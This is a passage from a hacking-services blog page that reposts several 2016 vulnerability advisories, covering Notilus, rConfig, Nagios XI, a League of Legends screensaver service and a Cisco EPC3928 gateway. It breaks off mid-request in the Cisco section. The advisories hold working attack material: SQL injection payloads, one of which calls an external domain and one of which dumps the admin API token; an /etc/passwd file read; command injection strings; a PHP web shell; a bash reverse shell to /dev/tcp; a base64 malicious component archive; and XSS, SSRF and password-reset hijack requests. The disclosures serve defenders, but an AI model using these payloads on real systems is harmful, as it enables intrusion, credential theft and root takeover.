Exploit Title: Notilus SQL injection
Product: Notilus travel solution software
Vulnerable Versions: 2012 R3
Tested Version: 2012 R3
Advisory Publication: 03/06/2016
Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [CWE-89]
CVE Reference: NONE
Credit: Alex Haynes
Advisory Details:
(1) Vendor & Product Description
--------------------------------
Vendor: DIMO Software
Product & Version:
Notilus travel solution software v2012 R3
Vendor URL & Download:
http://www.notilus.com/
Product Description:
"DIMO Software is the European leader on the Travel and Expense Management market. We publish the Notilus solution, a simple efficient software to manage the entire business travel process: travel orders, online and offline booking, expense reports, supplier invoices, car fleet, mobile telephones, etc."
(2) Vulnerability Details:
--------------------------
The Notilus software is vulnerable to SQL injection attacks, specifically in the password modification fields.
Proof of concept:
POST TO /company/profilv4/Password.aspx
Vulnerable parameter: H_OLD
Payload:
ACTION=1&H_OLD=mypass'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'\\testdomain.mydo'%2b'main.com\vps'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20&H_NEW1=%27+or+%27%27%3D%27&H_NEW2=%27+or+%27%27%3D%27
(3) Advisory Timeline:
----------------------
15/02/16 - First Contact: vendor requests details of vulnerability
03/03/16 - Follow up to vendor to inquire about availability of a fix.
03/03/16 - vendor responds that fix will be available 16/03/16.
16/03/16 - Vendor releases patch.
(4)Solution:
------------
Patch to latest available 2012 R3 branch or upgrade to version 2016.
(5) Credits:
------------
Discovered by Alex Haynes
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863104443
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Title
===================
rConfig, the open source network device configuration management tool, Vulnerable to Local File Inclusion
Summary
===================
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/crud/downloadFile.php. downloadFile.php allows authenticated users to download any file on the server.
Affected Products
===================
rConfig 3.1.1 and earlier
CVE
===================
N/A
Details
===================
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/crud/downloadFile.php. downloadFile.php allows authenticated users to download any file on the server. This is because downloadFile.php does not check the download_file parameter before it uses it. It merely opens and sends the file in the parameter to the user. As long as the account running the web server has access to it, rConfig will open it and send it.
Verification of Vulnerability
===================
The following steps can be carried out in duplicating this vulnerability.
Step 1:
Enter the following into your browser address bar:
http://<SERVER>/lib/crud/downloadFile.php?download_file=/etc/passwd
Step 2:
Confirm that the passwd file is valid
Impact
===================
Information Disclosure. User privileges and unauthorized access to the system.
Credits
===================
Gregory Pickett (@shogun7273), Hellfire Security
( , ) (,
. '.' ) ('. ',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Nagios XI Multiple Vulnerabilities
Affected versions: Nagios XI <= 5.2.7
PDF:
http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf
+-----------+
|Description|
+-----------+
The Nagios XI application is affected by multiple security
vulnerabilities, including unauthenticated SQL injection and
authentication bypass, arbitrary code execution via command injection,
privilege escalation, server-side request forgery and account hijacking.
These vulnerabilities can be chained together to obtain unauthenticated
remote code execution as the root user.
+------------+
|Exploitation|
+------------+
==SQL Injection==
The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are
vulnerable to SQL injection via error-based payloads. An attacker can
exploit this vulnerability to retrieve sensitive information from the
application’s MySQL database such as the administrative users’ password
hash (unsalted MD5) or the token used to authenticate to the Nagios XI
REST API. This security issue is aggravated by the fact that an attacker
can directly browse to the vulnerable page and exploit the vulnerability
without providing a valid session cookie.
[POC - DUMP ADMIN API TOKEN]
GET
/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+
(SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS
+CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2))
x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1
The API token can be reused to bypass authentication either by creating
a user via the REST API or through the Rapid Response functionality as
shown below.
[POC- BYPASS AUTHENTICATION THROUGH RAPID RESPONSE FUNCTIONALITY]
// uid == <user_id>-<object_id>-<MD5(api token)>, object id value
doesn't matter
GET /nagiosxi/rr.php?uid=1-b-<hash> HTTP/1.1
==Command Injection==
Multiple command injection vulnerabilities exist in the Nagios XI web
interface due to unescaped user input being passed to shell functions as
an argument. This issues can be exploited to inject arbitrary shell
commands and obtain remote code execution in the context of the 'apache'
user.
URL => GET
/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=<api
token>&incident_id=<valid incident id>&title=<PAYLOAD>&status=<any value>
PARAMETER => title
POC PAYLOAD => title'; touch /tmp/FILE; echo '
URL => GET
/nagiosxi/includes/components/perfdata/graphApi.php?host=<any monitored
host IP>&start=<PAYLOAD>&end=<PAYLOAD>
PARAMETERS => start, end
POC PAYLOAD => 1; touch /tmp/FILE;
==Privilege Escalation==
The Nagios XI default sudoers configuration can be abused to elevate
privileges to root due to an insecure implementation of the
application’s component upload functionality. The ‘apache’ user can run
the getprofile.sh script with root privileges without being prompted for
a password. The getprofile.sh script is part of the Profile component
along with the following files:
- profile.php, the PHP script that outputs the system information.
- profile.inc.php, a PHP include file with required functionality for
profile.php.
An attacker can backdoor the profile.php file with a function to execute
arbitrary shell commands (e.g. <?php system($_GET['cmd']); ?> ), replace
the getprofile.sh file with a malicious payload (e.g. “#!/bin/bash bash
–i >& /dev/tcp/<IP>/<PORT> 0>&1”) and finally create a ‘profile.zip’
archive containing the malicious component files. Once uploaded, the
application will unzip the component archive and overwrite the existing
profile directory and its files, including getprofile.sh.
[POC - MALICIOUS 'profile.zip' COMPONENT ARCHIVE]
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
vREAAAAA
[POC - PRIVILEGE ESCALATION EXPLOITATION]
GET /nagiosxi/includes/components/profile/profile.php?cmd=sudo
./getprofile.sh
The default Profile component archive can be downloaded at the following
link:
https://assets.nagios.com/downloads/nagiosxi/components/profile.zip
==Server-Side Request Forgery==
Multiple server-side request forgery vulnerabilities exist in the Nagios
XI application. An attacker can provide arbitrary data to curl_exec
calls to port scan internal services listening on localhost, read files
on the Nagios XI server file system or send data to other hosts in the
same internal network where the Nagios XI server is deployed.
// the application filter the string 'file://' can be bypassed by
converting the handler to uppercase
URL => GET /nagiosxi/ajaxproxy.php?proxyurl=<PAYLOAD>
PARAMETER => proxyurl
POC PAYLOAD => FILE:///<path>/<file>
URL => GET /nagiosxi/backend/?cmd=geturlhtml&url=<PAYLOAD>
PARAMETER => url
POC PAYLOAD => file:///<path>/<file>
==Account Hijacking==
The Nagios XI application is vulnerable to an arbitrary account
hijacking vulnerability due to an insecure implementation of the
password reset functionality. The application does not enforce any
verification to confirm the provided reset token can only be used to
change the login credentials for the specific user for which it was
generated. A limited user can therefore abuse the password reset
functionality to hijack an administrative account by tampering with the
‘username’ hidden parameter during the password reset process.
[POC - ACCOUNT HIJACKING 'nagiosadmin']
POST /nagiosxi/login.php?finishresetpass&username=stduser&token-<reset
token> HTTP/1.1
token=<reset
token>&username=nagiosadmin&password1=<PASSWORD>&password2=<PASSWORD>&reset=1
+----------+
| Solution |
+----------+
Upgrade to Nagios XI 5.2.8.
Please note at the time of this writing the privilege escalation
vulnerability is still unpatched. The SSRF vulnerabilities have been
only partially fixed by blacklisting the 'file://' handler, but all the
other SSRF attack vectors are still exploitable. Vendor stated these
vulnerabilities will be likely patched on the next release of the
application as they require authentication and as such are not
considered major security issues.
+------------+
| Timeline |
+------------+
13/05/2016 – Initial disclosure to vendor
14/05/2016 – Vendor confirms receipt of advisory
25/05/2016 – Vendor provides fixes for most of the vulnerabilities
25/05/2016 – Enquiry about the status of fixes for the unpatched
vulnerabilities
26/05/2016 – Vendor responded with “Since the major issues have been
fixed and the remaining issues I'd like to touch up are only available
if the user is logged in, or logged in as admin, I don't see a reason to
hold onto releasing the advisory.”
2/06/2016 – Public disclosure
+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf
# Exploit Title: League of Legends Screensaver Unquoted Service Paths
Conditional Privilege Escalation.
# CVE-ID: NA
# Date: 13/04/2016
# Exploit Author: Vincent Yiu
# Contact: vysec.private@gmail.com
# Vendor Homepage: http://www.leagueoflegends.com
# Software Link: screensaver.euw.leagueoflegends.com/en_US
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
# Tested on: Windows 7 Professional x64 fully updated.
1. Description:
The League of Legends installer would install the League of Legends
screensaver along with a service. The service would be called
'lolscreensaver'. This particular service was misconfigured such that
the service binary path was unquoted. When the screensaver is
installed to 'C:\Riot Games', the issue is not exploitable. However,
during the installation process, users are able to specify a directory
to install to. When a user chooses to install this to say an external
drive, this becomes exploitable.
This was reported to Riot Games and has been rectified in the latest version.
2. Proof
http://i.imgur.com/S2fuUKa.png
3. Exploit:
Simply run 'sc qc lolscreensaver' and check for unquoted service path.
If the path is unquoted, then check the permissions of each directory
using space as a token.
Eg. D:\My Games\Hidden Files\Super Secure\Riot Games\service\service.exe
Do icacls on D:\, 'D:\My Games\', 'D:\My Games\Hidden Files\', 'D:\My
Games\Hidden Files\Super Secure\'. If you are able to write files to
any of these directories, it is exploitable.
If 'D:\My Games\' is writable, to exploit this issue, place a binary
to run as SYSTEM into the folder and named as 'Hidden.exe".
This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
# Exploit Title: League of Legends Screensaver Insecure File Permissions
Privilege Escalation
# CVE-ID: NA
# Date: 13/04/2016
# Exploit Author: Vincent Yiu
# Contact: vysec.private@gmail.com
# Vendor Homepage: http://www.leagueoflegends.com
# Software Link: screensaver.euw.leagueoflegends.com/en_US
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
# Tested on: Windows 7 Professional x64 fully updated.
1. Description:
The League of Legends screensaver was installed with insecure file
permissions. It was found that all folder and file permissions were
incorrectly configured during installation. It was possible to replace the
service binary.
This was reported to Riot Games and has been rectified in the latest
version.
2. Proof
http://i.imgur.com/5fVijDK.png
3. Exploit:
Replace service.exe in 'C:\Riot Games\LolScreenSaver\service' to run
service.exe as SYSTEM.
This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
# Title: Cisco EPC 3928 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco Model EPC3928 DOCSIS 3.0 8x4 Wireless Residential Gateway
# CVE References: CVE-2015-6401 / CVE-2015-6402 / CVE-2016-1328 / CVE-2016-1336 / CVE-2016-1337
# Author: Patryk Bogdan from Secorda security team (http://secorda.com/)
========
Summary:
In recent security research, Secorda security team has found multiple vulnerabilities affecting Cisco EPC3928 Wireless Residential Gateway. Variants of this product can also be affected.
Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order to perform attacks on the home-user, inject additional data to modem http response or extract sensitive informations from the device, such as the Wi-Fi key.
Until Cisco releases workarounds or patches, we recommend verify access to the web-based management panel and make sure that it is not reachable from the external network.
Vulnerabilities:
1) Unauthorized Command Execution
2) Gateway Stored XSS
3) Gateway Client List DoS
4) Gateway Reflective XSS
5) Gateway HTTP Corruption DoS
6) "Stored" HTTP Response Injection
7) Boot Information Disclosure
========
PoC:
- Unathorized Command Execution
#1 - Channel selection request:
POST /goform/ChannelsSelection HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ChannelsSelection.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
SAHappyUpstreamChannel=3
#1 - Response:
HTTP/1.0 200 OK
Server: PS HTTP Server
Content-type: text/html
Connection: close
<html lang="en"><head><title>RELOAD</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script language="javascript" type="text/javascript" src="../active.js"></script><script language="javascript" type="text/javascript" src="../lang.js"></script><script language="javascript" type="text/javascript">var totaltime=120;function time(){document.formnow.hh.value=(" "+totaltime+" Seconds ");totaltime--;} function refreshStatus(){window.setTimeout("window.parent.location.href='http://192.168.1.1'",totaltime*1000);}mytime=setInterval('time()',1000);</script></head><body BGCOLOR="#CCCCCC" TEXT=black><form name="formnow"><HR><h1><script language="javascript" type="text/javascript">dw(msg_goform34);</script><a href="http://192.168.1.1/index.asp"><script language="javascript" type="text/javascript">dw(msg_goform35);</script></a><script language="javascript">refreshStatus();</script><input type="text" name="hh" style="background-color:#CCCCCC;font-size:36;border:none"></h1></form></body></html>
#2 - Clear logs request:
POST /goform/Docsis_log HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_log.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
BtnClearLog=Clear+Log&SnmpClearEventLog=0
#2 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Docsis_log.asp
Content-type: text/html
Connection: close
- Gateway Stored and Reflective Cross Site Scripting
Example #1:
#1 – Stored XSS via username change request:
POST /goform/Administration HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
working_mode=0&sysname=<script>alert('XSS')</script>&sysPasswd=home&sysConfirmPasswd=home&save=Save+Settings&preWorkingMode=1&h_wlan_enable=enable&h_user_type=common
#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Administration.asp
Content-type: text/html
Connection: close
#2 – Redirect request:
GET /Administration.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
DNT: 1
Connection: keep-alive
#2 – Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 15832
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
<tr>
<td>
<script language="javascript" type="text/javascript">dw(usertype);</script>
</td>
<td nowrap>
<script>alert('XSS')</script>
</TD>
</tr>
<tr>
(...)
Example #2:
#1 – Reflected XSS via client list request:
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
